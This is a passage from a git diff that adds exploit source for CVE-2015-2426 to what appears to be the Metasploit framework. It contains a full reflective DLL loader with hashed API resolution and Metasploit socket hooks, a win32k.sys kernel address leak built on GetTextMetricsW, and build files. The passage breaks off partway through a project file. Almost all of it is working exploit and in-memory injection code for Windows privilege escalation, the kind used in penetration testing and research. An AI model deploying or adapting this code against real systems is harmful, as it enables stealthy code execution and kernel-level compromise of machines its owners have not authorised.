sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA + && pGetProcAddress + && pVirtualAlloc +#ifdef ENABLE_STOPPAGING + && pVirtualLock +#endif + && pNtFlushInstructionCache +#ifdef ENABLE_OUTPUTDEBUGSTRING + && pOutputDebug +#endif + ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + +#ifdef ENABLE_STOPPAGING + // prevent our image from being swapped to the pagefile + pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage); +#endif + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume there is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // iterate through all imports until a null RVA is found (Characteristics is mis-named) + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics ) + { + OUTPUTDBG("Loading library: "); + OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + OUTPUTDBG("\n"); + + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + if ( !uiLibraryAddress ) + { + OUTPUTDBG("Loading library FAILED\n"); + + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + continue; + } + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + OUTPUTDBG("Resolving function: "); + OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + OUTPUTDBG("\n"); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + OUTPUTDBG("Flushing the instruction cache"); + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +// you must implement this function... +extern DWORD DLLEXPORT Init( SOCKET socket ); + +BOOL MetasploitDllAttach( SOCKET socket ) +{ + Init( socket ); + return TRUE; +} + +BOOL MetasploitDllDetach( DWORD dwExitFunc ) +{ + switch( dwExitFunc ) + { + case EXITFUNC_SEH: + SetUnhandledExceptionFilter( NULL ); + break; + case EXITFUNC_THREAD: + ExitThread( 0 ); + break; + case EXITFUNC_PROCESS: + ExitProcess( 0 ); + break; + default: + break; + } + + return TRUE; +} + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + + switch( dwReason ) + { + case DLL_METASPLOIT_ATTACH: + bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved ); + break; + case DLL_METASPLOIT_DETACH: + bReturnValue = MetasploitDllDetach( (DWORD)lpReserved ); + break; + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..b575b9ab25 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/ReflectiveLoader.h @@ -0,0 +1,223 @@ +//===============================================================================================// +// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include <windows.h> +#include <Winsock2.h> +#include <intrin.h> + +#include "ReflectiveDLLInjection.h" + +// Enable this define to turn on OutputDebugString support +//#define ENABLE_OUTPUTDEBUGSTRING 1 + +// Enable this define to turn on locking of memory to prevent paging +#define ENABLE_STOPPAGING 1 + +#define EXITFUNC_SEH 0xEA320EFE +#define EXITFUNC_THREAD 0x0A2A1DE0 +#define EXITFUNC_PROCESS 0x56A2B5F0 + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#ifdef ENABLE_STOPPAGING +typedef LPVOID (WINAPI * VIRTUALLOCK)( LPVOID, SIZE_T ); +#define VIRTUALLOCK_HASH 0x0EF632F2 +#endif + +#ifdef ENABLE_OUTPUTDEBUGSTRING +typedef LPVOID (WINAPI * OUTPUTDEBUG)( LPCSTR ); +#define OUTPUTDEBUG_HASH 0x470D22BC +#endif + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD _hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp new file mode 100755 index 0000000000..47c7df8665 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.cpp @@ -0,0 +1,51 @@ +#include <Windows.h> +#include "Win32kLeaker.h" + +extern "C" VOID MyGetTextMetricsW(HDC, LPTEXTMETRICW, DWORD); +static const int InfoLeakBuffer = 0x40000000; + +// Leak the base address of `win32k.sys`. This infoleak is slightly different from +// the standalone infoleak because we need to handle the position-independent nature +// of this exploit. +ULONGLONG LeakWin32kAddress() { + ULONGLONG win32kBaseAddr = 0; + HDC hdc = NULL; + DWORD hi = 0; + DWORD lo = 0; + + VirtualAlloc((LPVOID)InfoLeakBuffer, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + + hdc = CreateCompatibleDC(NULL); + if (hdc == NULL) { + return NULL; + } + + // Leak the address and retrieve it from `buffer`. + MyGetTextMetricsW(hdc, (LPTEXTMETRICW)InfoLeakBuffer, 0x44); + + hi = *(DWORD *)(InfoLeakBuffer + 0x38 + 4); // High DWORD of leaked address + lo = *(DWORD *)(InfoLeakBuffer + 0x38); // Low DWORD of leaked address + + // Check: High DWORD should be a kernel-mode address (i.e. + // 0xffff0800`00000000). We make the check stricter by checking for a + // subset of kernel-mode addresses. + if ((hi & 0xfffff000) != 0xfffff000) { + return NULL; + } + + // Retrieve the address of `win32k!RGNOBJ::UpdateUserRgn+0x70` using + // the following computation. + win32kBaseAddr = ((ULONGLONG)hi << 32) | lo; + + // Adjust for offset to get base address of `win32k.sys`. + win32kBaseAddr -= 0x0003cf00; + + // Check: Base address of `win32k.sys` should be of the form + // 0xFFFFFxxx`00xxx000. + if ((win32kBaseAddr & 0xff000fff) != 0) { + return NULL; + } + + DeleteDC(hdc); + return win32kBaseAddr; +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h new file mode 100755 index 0000000000..3347f34936 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/dll/src/Win32kLeaker.h @@ -0,0 +1,5 @@ +#ifndef WIN32KLEAKER_H +#define WIN32KLEAKER_H + +ULONGLONG LeakWin32kAddress(); +#endif diff --git a/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj new file mode 100755 index 0000000000..bbefca3bc7 --- /dev/null +++ b/external/source/exploits/CVE-2015-2426/inject/inject.vcxproj @@ -0,0 +1,255 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|ARM"> + <Configuration>Debug</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|ARM"> + <Configuration>Release</Configuration> + <Platform>ARM</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid> + <RootNamespace>inject</RootNamespace> + <Keyword>Win32Proj</Keyword> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + <WholeProgramOptimization>true</WholeProgramOptimization> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <PlatformToolset>v120</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" 